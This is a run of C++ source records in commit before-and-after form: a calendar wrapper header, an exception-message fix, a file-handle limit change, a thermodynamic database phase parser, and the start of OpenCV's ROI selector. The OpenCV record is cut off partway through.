UNOTOOLS_DLLPUBLIC CalendarWrapper\n{\n    ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > xSMgr;\n    ::com::sun::star::uno::Reference< ::com::sun::star::i18n::XExtendedCalendar >   xC;\n\n            DateTime            aEpochStart;        \/\/ 1Jan1970\n\npublic:\n                                CalendarWrapper(\n                                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > & xSF\n                                    );\n                                ~CalendarWrapper();\n\n\n    \/\/ wrapper implementations of XCalendar\n\n    void loadDefaultCalendar( const ::com::sun::star::lang::Locale& rLocale );\n    void loadCalendar( const ::rtl::OUString& rUniqueID, const ::com::sun::star::lang::Locale& rLocale );\n    ::com::sun::star::i18n::Calendar getLoadedCalendar() const;\n    ::com::sun::star::uno::Sequence< ::rtl::OUString > getAllCalendars( const ::com::sun::star::lang::Locale& rLocale ) const;\n    ::rtl::OUString getUniqueID() const;\n    \/\/\/ set UTC date\/time\n    void setDateTime( double nTimeInDays );\n    \/\/\/ get UTC date\/time\n    double getDateTime() const;\n    \/\/\/ convenience method to set local date\/time\n    void setLocalDateTime( double nTimeInDays );\n    \/\/\/ convenience method to get local date\/time\n    double getLocalDateTime() const;\n    void setValue( sal_Int16 nFieldIndex, sal_Int16 nValue );\n    sal_Bool isValid() const;\n    sal_Int16 getValue( sal_Int16 nFieldIndex ) const;\n    void addValue( sal_Int16 nFieldIndex, sal_Int32 nAmount );\n    sal_Int16 getFirstDayOfWeek() const;\n    void setFirstDayOfWeek( sal_Int16 nDay );\n    void setMinimumNumberOfDaysForFirstWeek( sal_Int16 nDays );\n    sal_Int16 getMinimumNumberOfDaysForFirstWeek() const;\n    sal_Int16 getNumberOfMonthsInYear() const;\n    sal_Int16 getNumberOfDaysInWeek() const;\n    ::com::sun::star::uno::Sequence< ::com::sun::star::i18n::CalendarItem > getMonths() const;\n    ::com::sun::star::uno::Sequence< ::com::sun::star::i18n::CalendarItem > getDays() const;\n    String getDisplayName( sal_Int16 nCalendarDisplayIndex, sal_Int16 nIdx, sal_Int16 nNameType ) const;\n\n    \/\/ wrapper implementations of XExtendedCalendar\n\n    String getDisplayString( sal_Int32 nCalendarDisplayCode, sal_Int16 nNativeNumberMode ) const;\n\n\n    \/\/ convenience methods\n\n    \/\/\/ get epoch start (should be 01Jan1970)\n    inline  const DateTime&     getEpochStart() const\n                                    { return aEpochStart; }\n\n    \/\/\/ set a local (!) Gregorian DateTime\n    inline  void                setGregorianDateTime( const DateTime& rDateTime )\n                                    { setLocalDateTime( rDateTime - aEpochStart ); }\n\n    \/\/\/ get the DateTime as a local (!) Gregorian DateTime\n    inline  DateTime            getGregorianDateTime() const\n                                    { return aEpochStart + getLocalDateTime(); }\n\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#include \"internal\/message.hpp\"\n#include \"macros.hpp\"\n#include \"..\/std\/algorithm.hpp\"\n#include \"..\/std\/exception.hpp\"\n#include \"..\/std\/string.hpp\"\n\nclass RootException : public exception\n{\npublic:\n  RootException(char const * what, string const & msg) : m_What(what), m_Msg(msg)\n  {\n  }\n\n  virtual ~RootException() throw()\n  {\n  }\n\n  virtual char const * what() const throw()\n  {\n    string asciiMsg;\n    for (size_t i = 0; i < m_Msg.size(); ++i)\n    {\n      if (static_cast<unsigned char>(m_Msg[i]) < 128)\n      {\n        asciiMsg += char(m_Msg[i]);\n      } else\n      {\n        asciiMsg += '?';\n      }\n    }\n    static string msg = string(m_What) + \", \\\"\" + asciiMsg + \"\\\"\";\n    return msg.c_str();\n  }\n\n  string const & Msg() const throw()\n  {\n    return m_Msg;\n  }\n\nprivate:\n  char const * m_What;\n  string m_Msg;\n};\n\n#define DECLARE_EXCEPTION(exception_name, base_exception) \\\n  class exception_name : public base_exception \\\n  { \\\n  public: \\\n    exception_name(char const * what, string const & msg) : base_exception(what, msg) {} \\\n  }\n\n\/\/ TODO: Use SRC_LOGGING macro.\n#define MYTHROW(exception_name, msg) throw exception_name( \\\n  #exception_name \" \" __FILE__ \":\" TO_STRING(__LINE__), ::my::impl::Message msg)\n\n#define MYTHROW1(exception_name, param1, msg) throw exception_name(param1, \\\n  #exception_name \" \" __FILE__ \":\" TO_STRING(__LINE__), ::my::impl::Message msg)\n<commit_msg>Fix RootException message formatting.<commit_after>#pragma once\n#include \"internal\/message.hpp\"\n#include \"macros.hpp\"\n\n#include \"..\/std\/exception.hpp\"\n#include \"..\/std\/string.hpp\"\n\nclass RootException : public exception\n{\npublic:\n  RootException(char const * what, string const & msg) : m_What(what), m_Msg(msg)\n  {\n  }\n\n  virtual ~RootException() throw()\n  {\n  }\n\n  virtual char const * what() const throw()\n  {\n    size_t const count = m_Msg.size();\n\n    string asciiMsg;\n    asciiMsg.resize(count);\n\n    for (size_t i = 0; i < count; ++i)\n    {\n      if (static_cast<unsigned char>(m_Msg[i]) < 128)\n        asciiMsg[i] = char(m_Msg[i]);\n      else\n        asciiMsg[i] = '?';\n    }\n\n    static string msg;\n    msg = string(m_What) + \", \\\"\" + asciiMsg + \"\\\"\";\n    return msg.c_str();\n  }\n\n  string const & Msg() const throw()\n  {\n    return m_Msg;\n  }\n\nprivate:\n  char const * m_What;\n  string m_Msg;\n};\n\n#define DECLARE_EXCEPTION(exception_name, base_exception) \\\n  class exception_name : public base_exception \\\n  { \\\n  public: \\\n    exception_name(char const * what, string const & msg) : base_exception(what, msg) {} \\\n  }\n\n\/\/ TODO: Use SRC_LOGGING macro.\n#define MYTHROW(exception_name, msg) throw exception_name( \\\n  #exception_name \" \" __FILE__ \":\" TO_STRING(__LINE__), ::my::impl::Message msg)\n\n#define MYTHROW1(exception_name, param1, msg) throw exception_name(param1, \\\n  #exception_name \" \" __FILE__ \":\" TO_STRING(__LINE__), ::my::impl::Message msg)\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"ReadFileManager.h\"        \/\/ Own interface\n#include \"ReadFile.h\"               \/\/ engine::ReadFile\n\nnamespace engine {\n    \n    \n    ReadFileManager::ReadFileManager()\n    {\n        \/\/ Default number of open files\n        max_open_files = 10;\n    }\n    \n    ReadFile *ReadFileManager::getReadFile( std::string fileName )\n    {\n        ReadFile *f = read_files.extractFromMap( fileName );\n        \n        \/\/ Remove non-valid ReadFiles\n        if( f && !f->isValid() )\n        {\n            delete f;\n            f = NULL;\n        }\n        \n        if( !f )\n            f = new ReadFile( fileName );\n        \n        \/\/ Insert at front ( remove the last used at the  back )\n        read_files.insertAtFront( fileName , f );\n        \n        \/\/ Remove old File descriptors if necessary\n        while( (int)read_files.size() > max_open_files )\n        {\n            \n            ReadFile *rf = read_files.extractFromBack();\n            \n            if( rf == f )\n                LM_X(1, (\"Internal error\"));\n            \n            rf->close();\n            delete rf;\n        }\n        \n        return f;\n    }\n    \n}<commit_msg>Fix wrong number of max open files<commit_after>\n#include \"ReadFileManager.h\"        \/\/ Own interface\n#include \"ReadFile.h\"               \/\/ engine::ReadFile\n\nnamespace engine {\n    \n    \n    ReadFileManager::ReadFileManager()\n    {\n        \/\/ Default number of open files\n        max_open_files = 100;\n    }\n    \n    ReadFile *ReadFileManager::getReadFile( std::string fileName )\n    {\n        ReadFile *f = read_files.extractFromMap( fileName );\n        \n        \/\/ Remove non-valid ReadFiles\n        if( f && !f->isValid() )\n        {\n            delete f;\n            f = NULL;\n        }\n        \n        if( !f )\n            f = new ReadFile( fileName );\n        \n        \/\/ Insert at front ( remove the last used at the  back )\n        read_files.insertAtFront( fileName , f );\n        \n        \/\/ Remove old File descriptors if necessary\n        while( (int)read_files.size() > max_open_files )\n        {\n            \n            ReadFile *rf = read_files.extractFromBack();\n            \n            if( rf == f )\n                LM_X(1, (\"Internal error\"));\n            \n            rf->close();\n            delete rf;\n        }\n        \n        return f;\n    }\n    \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=============================================================================\n\tCopyright (c) 2012-2013 Richard Otis\n\n    Distributed under the Boost Software License, Version 1.0. (See accompanying\n    file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n=============================================================================*\/\n\n\/\/ phase.cpp -- parser for PHASE command\n\n#include \"libtdb\/include\/libtdb_pch.hpp\"\n#include \"libtdb\/include\/database_tdb.hpp\"\n#include \"libtdb\/include\/utils\/match_keyword.hpp\"\n#include <boost\/lexical_cast.hpp>\n\n\/\/ TODO: add support for the optional auxillary info string (comes after last sublattice argument)\nvoid Database::DatabaseTDB::Phase(std::string &argstr) {\n\tstd::string name; \/\/ phase name\n\tstd::string codes, phase_code; \/\/ character codes for the phase\n\tint num_subl; \/\/ number of sublattices\n\tSublattice_Collection subls; \/\/ sublattices, we only init stoi_coef in this parser\n\tstd::vector<std::string> splitargs, init_commands;\n\n\tboost::split(splitargs, argstr, boost::is_any_of(\" \"));\n\tif (splitargs.size() < 4) { \/\/ we have the wrong number of arguments\n\t\tstd::string argnum (boost::lexical_cast<std::string>(splitargs.size())); \/\/ convert number to string\n\t\tstd::string err_msg(\"Wrong number of arguments (\" + argnum + \")\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tauto i = splitargs.begin(); \/\/ generate an iterator\n\t\/\/ the first few arguments are not in a loop\n\t\/\/ we increment the iterator manually\n\t\/\/ now evaluating the name argument\n\tauto iter_range = boost::find_first(*i, \":\");\n\tname = std::string((*i).begin(),iter_range.begin()); \/\/ name is everything before the (optional) colon\n\tphase_code = std::string(iter_range.end(),(*i).end()); \/\/ TODO: check for GES phase-type codes after the colon\n\n\tif (phase_code.length() > 1) { \/\/ can be one character or zero characters\n\t\tstd::string err_msg(\"Phase name incorrectly formatted\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tif (phases.find(name) != phases.end()) { \/\/ the phase already exists\n\t\tstd::string err_msg(\"Phase \\\"\" + name + \"\\\" already defined\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\n\t++i;\n\t\/\/ now at phase character code argument\n\n\tcodes = *i;\n\t++i;\n\t\/\/ now at number of sublattices argument\n\n\ttry {\n\t\tnum_subl = boost::lexical_cast<int>(*i);\n\t\t++i;\n\t\t\/\/ now at first site stoi_coef argument\n\t}\n\tcatch (boost::bad_lexical_cast &) {\n\t\tstd::string err_msg (\"Non-integer input for integer parameter\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tif (splitargs.size() != (num_subl+3)) { \/\/ we have the wrong number of arguments\n\t\tstd::string argnum (boost::lexical_cast<std::string>(splitargs.size())); \/\/ convert number to string\n\t\tstd::string err_msg(\"Wrong number of arguments (\" + argnum + \") for \" + *i + \" sublattice\" + ((num_subl != 1) ? \"s\" : \"\"));\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\t\/\/ collect all of the site occupancies\n\ttry {\n\t\twhile (i != splitargs.end()) {\n\t\t\tdouble stoi_coef = boost::lexical_cast<double>(*i);\n\t\t\tif (stoi_coef == 0) {\n\t\t\t\tstd::cout << \"0 stoi_coef, original was: \" << *i << std::endl;\n\t\t\t}\n\t\t\tSublattice s(stoi_coef); \/\/ init sublattice with site stoi_coef\n\t\t\tsubls.push_back(s); \/\/ add sublattice to collection\n\t\t\t++i;\n\t\t}\n\t}\n\tcatch (boost::bad_lexical_cast &) {\n\t\tstd::string err_msg (\"Non-numeric input for numeric parameter\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\t\/\/ Ensure that the type definitions for the phase have been defined\n\tfor (auto j = codes.cbegin(); j != codes.cend(); ++j) {\n\t\tconst std::string type(j, j+1);\n\t\tauto typefind = type_definitions.find(type);\n\t\tif (typefind == type_definitions.end()) {\n\t\t\t\/\/ undefined type definition\n\t\t\tstd::string err_msg (\"Undefined type definition: \");\n\t\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg + type));\n\t\t}\n\t\telse {\n\t\t\tinit_commands.push_back(typefind->second); \/\/ add command to list\n\t\t}\n\t}\n\tphases[name] = ::Phase(name, subls, init_commands); \/\/ add Phase to the Database\n}\n\nvoid Phase::modify_phase(const std::string &command) {\n\tstd::set<std::string> keywords = {\n\t\t\t\"AMEND_PHASE_DESCRIPTION\",\n\t\t\t\"DISORDERED_PART\",\n\t\t\t\"MAGNETIC_ORDERING\"\n\t};\n\tstd::vector<std::string> words;\n\tstd::string matching_command;\n\tboost::split(words, command, boost::is_any_of(\" \"), boost::token_compress_on);\n\n\tmatching_command = match_keyword(words[0], keywords);\n\n\tif (matching_command == \"AMEND_PHASE_DESCRIPTION\") {\n\t\t\/\/ Modify a phase description\n\t\tif (words.size() >= 3) {\n\t\t\tauto words_iter = words.begin(); \/\/ on A_P_D command\n\t\t\t++words_iter; \/\/ name of phase\n\t\t\tif (*words_iter != phase_name) {\n\t\t\t\t\/\/ phase name mismatch\n\t\t\t\tstd::string errmsg\n\t\t\t\t(\"Phase name mismatch in AMEND_PHASE_DESCRIPTION type definition for phase \" + phase_name);\n\t\t\t\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(errmsg));\n\t\t\t}\n\t\t\t++words_iter; \/\/ specific amendment to make\n\t\t\tstd::string matching_subcommand = match_keyword(*words_iter, keywords);\n\t\t\tif (matching_subcommand == \"MAGNETIC_ORDERING\") {\n\t\t\t\tif (words.size() >= 5) {\n\t\t\t\t\t++words_iter; \/\/ AFM factor\n\t\t\t\t\tdouble afm_factor = boost::lexical_cast<double>(*words_iter);\n\t\t\t\t\t++words_iter; \/\/ SRO enthalpy factor\n\t\t\t\t\tdouble sro_factor = boost::lexical_cast<double>(*words_iter);\n\n\t\t\t\t\t\/\/ Modify the phase's magnetic settings\n\t\t\t\t\tmagnetic_afm_factor = afm_factor;\n\t\t\t\t\tmagnetic_sro_enthalpy_order_fraction = sro_factor;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (matching_subcommand == \"DISORDERED_PART\") {\n\t\t\t\t\/\/ TODO: Atomic ordering model not yet implemented\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Not implemented: \" + command));\n\t\t}\n\n\t}\n\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Improper syntax for AMEND_PHASE_DESCRIPTION type definition in \" + phase_name));\n}\n\nvoid Phase::process_type_definition(const std::string &command) {\n\tstd::set<std::string> keywords = {\n\t\t\t\"GES\",\n\t\t\t\"SEQ\"\n\t};\n\tstd::string test_command = std::string(command.begin(), boost::find_first(command, \" \").begin());\n\tstd::string matching_command = match_keyword(test_command, keywords);\n\n\tif (matching_command == \"GES\") {\n\t\tstd::string remaining_command(boost::find_first(command, \" \").end(), command.end());\n\t\tmodify_phase(remaining_command);\n\t}\n\telse if (matching_command == \"SEQ\") {\n\t\t\/\/ we don't implement any of the optimizations provided by this command\n\t}\n\telse BOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Unknown command in type definition for phase \" + phase_name));\n}\n\nPhase::Phase (std::string phasename, Sublattice_Collection s, std::vector<std::string> init_commands) {\n\tphase_name = phasename;\n\tsubls = s;\n\tmagnetic_afm_factor = 0;\n\tmagnetic_sro_enthalpy_order_fraction = 0;\n\tinit_cmds = init_commands;\n\t\/\/ Apply all of this phase's type definitions\n\tfor (auto i = init_cmds.begin(); i != init_cmds.end(); ++i) process_type_definition(*i);\n}\n<commit_msg>Token compression for string splitting<commit_after>\/*=============================================================================\n\tCopyright (c) 2012-2013 Richard Otis\n\n    Distributed under the Boost Software License, Version 1.0. (See accompanying\n    file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n=============================================================================*\/\n\n\/\/ phase.cpp -- parser for PHASE command\n\n#include \"libtdb\/include\/libtdb_pch.hpp\"\n#include \"libtdb\/include\/database_tdb.hpp\"\n#include \"libtdb\/include\/utils\/match_keyword.hpp\"\n#include <boost\/lexical_cast.hpp>\n\n\/\/ TODO: add support for the optional auxillary info string (comes after last sublattice argument)\nvoid Database::DatabaseTDB::Phase(std::string &argstr) {\n\tstd::string name; \/\/ phase name\n\tstd::string codes, phase_code; \/\/ character codes for the phase\n\tint num_subl; \/\/ number of sublattices\n\tSublattice_Collection subls; \/\/ sublattices, we only init stoi_coef in this parser\n\tstd::vector<std::string> splitargs, init_commands;\n\n\tboost::split(splitargs, argstr, boost::is_any_of(\" \"), boost::token_compress_on);\n\tif (splitargs.size() < 4) { \/\/ we have the wrong number of arguments\n\t\tstd::string argnum (boost::lexical_cast<std::string>(splitargs.size())); \/\/ convert number to string\n\t\tstd::string err_msg(\"Wrong number of arguments (\" + argnum + \")\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tauto i = splitargs.begin(); \/\/ generate an iterator\n\t\/\/ the first few arguments are not in a loop\n\t\/\/ we increment the iterator manually\n\t\/\/ now evaluating the name argument\n\tauto iter_range = boost::find_first(*i, \":\");\n\tname = std::string((*i).begin(),iter_range.begin()); \/\/ name is everything before the (optional) colon\n\tphase_code = std::string(iter_range.end(),(*i).end()); \/\/ TODO: check for GES phase-type codes after the colon\n\n\tif (phase_code.length() > 1) { \/\/ can be one character or zero characters\n\t\tstd::string err_msg(\"Phase name incorrectly formatted\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tif (phases.find(name) != phases.end()) { \/\/ the phase already exists\n\t\tstd::string err_msg(\"Phase \\\"\" + name + \"\\\" already defined\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\n\t++i;\n\t\/\/ now at phase character code argument\n\n\tcodes = *i;\n\t++i;\n\t\/\/ now at number of sublattices argument\n\n\ttry {\n\t\tnum_subl = boost::lexical_cast<int>(*i);\n\t\t++i;\n\t\t\/\/ now at first site stoi_coef argument\n\t}\n\tcatch (boost::bad_lexical_cast &) {\n\t\tstd::string err_msg (\"Non-integer input for integer parameter\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\tif (splitargs.size() != (num_subl+3)) { \/\/ we have the wrong number of arguments\n\t\tstd::string argnum (boost::lexical_cast<std::string>(splitargs.size())); \/\/ convert number to string\n\t\tstd::string err_msg(\"Wrong number of arguments (\" + argnum + \") for \" + *i + \" sublattice\" + ((num_subl != 1) ? \"s\" : \"\"));\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\t\/\/ collect all of the site occupancies\n\ttry {\n\t\twhile (i != splitargs.end()) {\n\t\t\tdouble stoi_coef = boost::lexical_cast<double>(*i);\n\t\t\tif (stoi_coef == 0) {\n\t\t\t\tstd::cout << \"0 stoi_coef, original was: \" << *i << std::endl;\n\t\t\t}\n\t\t\tSublattice s(stoi_coef); \/\/ init sublattice with site stoi_coef\n\t\t\tsubls.push_back(s); \/\/ add sublattice to collection\n\t\t\t++i;\n\t\t}\n\t}\n\tcatch (boost::bad_lexical_cast &) {\n\t\tstd::string err_msg (\"Non-numeric input for numeric parameter\");\n\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg));\n\t}\n\t\/\/ Ensure that the type definitions for the phase have been defined\n\tfor (auto j = codes.cbegin(); j != codes.cend(); ++j) {\n\t\tconst std::string type(j, j+1);\n\t\tauto typefind = type_definitions.find(type);\n\t\tif (typefind == type_definitions.end()) {\n\t\t\t\/\/ undefined type definition\n\t\t\tstd::string err_msg (\"Undefined type definition: \");\n\t\t\tBOOST_THROW_EXCEPTION(parse_error() << specific_errinfo(err_msg + type));\n\t\t}\n\t\telse {\n\t\t\tinit_commands.push_back(typefind->second); \/\/ add command to list\n\t\t}\n\t}\n\tphases[name] = ::Phase(name, subls, init_commands); \/\/ add Phase to the Database\n}\n\nvoid Phase::modify_phase(const std::string &command) {\n\tstd::set<std::string> keywords = {\n\t\t\t\"AMEND_PHASE_DESCRIPTION\",\n\t\t\t\"DISORDERED_PART\",\n\t\t\t\"MAGNETIC_ORDERING\"\n\t};\n\tstd::vector<std::string> words;\n\tstd::string matching_command;\n\tboost::split(words, command, boost::is_any_of(\" \"), boost::token_compress_on);\n\n\tmatching_command = match_keyword(words[0], keywords);\n\n\tif (matching_command == \"AMEND_PHASE_DESCRIPTION\") {\n\t\t\/\/ Modify a phase description\n\t\tif (words.size() >= 3) {\n\t\t\tauto words_iter = words.begin(); \/\/ on A_P_D command\n\t\t\t++words_iter; \/\/ name of phase\n\t\t\tif (*words_iter != phase_name) {\n\t\t\t\t\/\/ phase name mismatch\n\t\t\t\tstd::string errmsg\n\t\t\t\t(\"Phase name mismatch in AMEND_PHASE_DESCRIPTION type definition for phase \" + phase_name);\n\t\t\t\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(errmsg));\n\t\t\t}\n\t\t\t++words_iter; \/\/ specific amendment to make\n\t\t\tstd::string matching_subcommand = match_keyword(*words_iter, keywords);\n\t\t\tif (matching_subcommand == \"MAGNETIC_ORDERING\") {\n\t\t\t\tif (words.size() >= 5) {\n\t\t\t\t\t++words_iter; \/\/ AFM factor\n\t\t\t\t\tdouble afm_factor = boost::lexical_cast<double>(*words_iter);\n\t\t\t\t\t++words_iter; \/\/ SRO enthalpy factor\n\t\t\t\t\tdouble sro_factor = boost::lexical_cast<double>(*words_iter);\n\n\t\t\t\t\t\/\/ Modify the phase's magnetic settings\n\t\t\t\t\tmagnetic_afm_factor = afm_factor;\n\t\t\t\t\tmagnetic_sro_enthalpy_order_fraction = sro_factor;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (matching_subcommand == \"DISORDERED_PART\") {\n\t\t\t\t\/\/ TODO: Atomic ordering model not yet implemented\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Not implemented: \" + command));\n\t\t}\n\n\t}\n\tBOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Improper syntax for AMEND_PHASE_DESCRIPTION type definition in \" + phase_name));\n}\n\nvoid Phase::process_type_definition(const std::string &command) {\n\tstd::set<std::string> keywords = {\n\t\t\t\"GES\",\n\t\t\t\"SEQ\"\n\t};\n\tstd::string test_command = std::string(command.begin(), boost::find_first(command, \" \").begin());\n\tstd::string matching_command = match_keyword(test_command, keywords);\n\n\tif (matching_command == \"GES\") {\n\t\tstd::string remaining_command(boost::find_first(command, \" \").end(), command.end());\n\t\tmodify_phase(remaining_command);\n\t}\n\telse if (matching_command == \"SEQ\") {\n\t\t\/\/ we don't implement any of the optimizations provided by this command\n\t}\n\telse BOOST_THROW_EXCEPTION(syntax_error() << specific_errinfo(\"Unknown command in type definition for phase \" + phase_name));\n}\n\nPhase::Phase (std::string phasename, Sublattice_Collection s, std::vector<std::string> init_commands) {\n\tphase_name = phasename;\n\tsubls = s;\n\tmagnetic_afm_factor = 0;\n\tmagnetic_sro_enthalpy_order_fraction = 0;\n\tinit_cmds = init_commands;\n\t\/\/ Apply all of this phase's type definitions\n\tfor (auto i = init_cmds.begin(); i != init_cmds.end(); ++i) process_type_definition(*i);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of OpenCV project.\n\/\/ It is subject to the license terms in the LICENSE file found in the top-level directory\n\/\/ of this distribution and at http:\/\/opencv.org\/license.html.\n\n#include \"precomp.hpp\"\n#include <opencv2\/imgproc.hpp>\n#include <algorithm>\n\nusing namespace cv;\n\nnamespace\n{\nclass ROISelector\n{\n  public:\n    Rect select(const String &windowName, Mat img, bool showCrossair = true, bool fromCenter = true)\n    {\n        \/\/ show notice to user\n        printf(\"Select a ROI and then press SPACE or ENTER button!\\n\");\n        printf(\"Cancel the selection process by pressing c button!\\n\");\n\n        key = 0;\n        imageSize = img.size();\n\n        \/\/ set the drawing mode\n        selectorParams.drawFromCenter = fromCenter;\n\n        \/\/ show the image and give feedback to user\n        imshow(windowName, img);\n\n        \/\/ copy the data, rectangle should be drawn in the fresh image\n        selectorParams.image = img.clone();\n\n        \/\/ select the object\n        setMouseCallback(windowName, mouseHandler, (void*)this);\n\n        \/\/ end selection process on SPACE (32) ESC (27) or ENTER (13)\n        while (!(key == 32 || key == 27 || key == 13))\n        {\n            \/\/ draw the selected object\n            rectangle(selectorParams.image, selectorParams.box, Scalar(255, 0, 0), 2, 1);\n\n            \/\/ draw cross air in the middle of bounding box\n            if (showCrossair)\n            {\n                \/\/ horizontal line\n                line(selectorParams.image,\n                     Point((int)selectorParams.box.x,\n                           (int)(selectorParams.box.y + selectorParams.box.height \/ 2)),\n                     Point((int)(selectorParams.box.x + selectorParams.box.width),\n                           (int)(selectorParams.box.y + selectorParams.box.height \/ 2)),\n                     Scalar(255, 0, 0), 2, 1);\n\n                \/\/ vertical line\n                line(selectorParams.image,\n                     Point((int)(selectorParams.box.x + selectorParams.box.width \/ 2),\n                           (int)selectorParams.box.y),\n                     Point((int)(selectorParams.box.x + selectorParams.box.width \/ 2),\n                           (int)(selectorParams.box.y + selectorParams.box.height)),\n                     Scalar(255, 0, 0), 2, 1);\n            }\n\n            \/\/ show the image bounding box\n            imshow(windowName, selectorParams.image);\n\n            \/\/ reset the image\n            selectorParams.image = img.clone();\n\n            \/\/ get keyboard event\n            key = waitKey(30);\n\n            if (key == 'c' || key == 'C')\/\/cancel selection\n            {\n                selectorParams.box = Rect();\n                break;\n            }\n        }\n\n        \/\/cleanup callback\n        setMouseCallback(windowName, emptyMouseHandler, NULL);\n\n        return selectorParams.box;\n    }\n\n    void select(const String &windowName, Mat img, std::vector<Rect> &boundingBoxes,\n                bool showCrosshair = true, bool fromCenter = true)\n    {\n        printf(\"Finish the selection process by pressing ESC button!\\n\");\n        boundingBoxes.clear();\n        key = 0;\n\n        \/\/ while key is not ESC (27)\n        for (;;)\n        {\n            Rect temp = select(windowName, img, showCrosshair, fromCenter);\n            if (key == 27)\n                break;\n            if (temp.width > 0 && temp.height > 0)\n                boundingBoxes.push_back(temp);\n        }\n    }\n\n    struct handlerT\n    {\n        \/\/ basic parameters\n        bool isDrawing;\n        Rect2d box;\n        Mat image;\n\n        \/\/ parameters for drawing from the center\n        bool drawFromCenter;\n        Point2f center;\n\n        \/\/ initializer list\n        handlerT() : isDrawing(false), drawFromCenter(true){};\n    } selectorParams;\n\n  private:\n    static void emptyMouseHandler(int, int, int, int, void*)\n    {\n    }\n\n    static void mouseHandler(int event, int x, int y, int flags, void *param)\n    {\n        ROISelector *self = static_cast<ROISelector *>(param);\n        self->opencv_mouse_callback(event, x, y, flags);\n    }\n\n    void opencv_mouse_callback(int event, int x, int y, int)\n    {\n        switch (event)\n        {\n        \/\/ update the selected bounding box\n        case EVENT_MOUSEMOVE:\n            if (selectorParams.isDrawing)\n            {\n                if (selectorParams.drawFromCenter)\n                {\n                    selectorParams.box.width = 2 * (x - selectorParams.center.x);\n                    selectorParams.box.height = 2 * (y - selectorParams.center.y);\n                    selectorParams.box.x = std::min(\n                                std::max(selectorParams.center.x - selectorParams.box.width \/ 2.0, 0.), (double)imageSize.width);\n                    selectorParams.box.y = std::min(\n                                std::max(selectorParams.center.y - selectorParams.box.height \/ 2.0, 0.), (double)imageSize.height);\n                }\n                else\n                {\n                    selectorParams.box.width = std::max(\n                                std::min(x - selectorParams.box.x, (double)imageSize.width - selectorParams.box.x), - selectorParams.box.x);\n                    selectorParams.box.height = std::max(\n                                std::min(y - selectorParams.box.y, (double)imageSize.height - selectorParams.box.y), - selectorParams.box.y);\n                }\n            }\n            break;\n\n        \/\/ start to select the bounding box\n        case EVENT_LBUTTONDOWN:\n            selectorParams.isDrawing = true;\n            selectorParams.box = Rect2d(x, y, 0, 0);\n            selectorParams.center = Point2f((float)x, (float)y);\n            break;\n\n        \/\/ cleaning up the selected bounding box\n        case EVENT_LBUTTONUP:\n            selectorParams.isDrawing = false;\n            if (selectorParams.box.width < 0)\n            {\n                selectorParams.box.x += selectorParams.box.width;\n                selectorParams.box.width *= -1;\n            }\n            if (selectorParams.box.height < 0)\n            {\n                selectorParams.box.y += selectorParams.box.height;\n                selectorParams.box.height *= -1;\n            }\n            break;\n        }\n    }\n\n    \/\/ save the keypressed character\n    int key;\n    Size imageSize;\n};\n}\n\nRect cv::selectROI(InputArray img, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    return selector.select(\"ROI selector\", img.getMat(), showCrosshair, fromCenter);\n}\n\nRect cv::selectROI(const String& windowName, InputArray img, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    return selector.select(windowName, img.getMat(), showCrosshair, fromCenter);\n}\n\nvoid cv::selectROIs(const String& windowName, InputArray img,\n                             std::vector<Rect>& boundingBox, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    selector.select(windowName, img.getMat(), boundingBox, showCrosshair, fromCenter);\n}\n<commit_msg>Fix cv::selectROI rectangle rendering issue<commit_after>\/\/ This file is part of OpenCV project.\n\/\/ It is subject to the license terms in the LICENSE file found in the top-level directory\n\/\/ of this distribution and at http:\/\/opencv.org\/license.html.\n\n#include \"precomp.hpp\"\n#include <opencv2\/imgproc.hpp>\n#include <algorithm>\n\nusing namespace cv;\n\nnamespace\n{\nclass ROISelector\n{\n  public:\n    Rect select(const String &windowName, Mat img, bool showCrossair = true, bool fromCenter = true)\n    {\n        \/\/ show notice to user\n        printf(\"Select a ROI and then press SPACE or ENTER button!\\n\");\n        printf(\"Cancel the selection process by pressing c button!\\n\");\n\n        key = 0;\n        imageSize = img.size();\n\n        \/\/ set the drawing 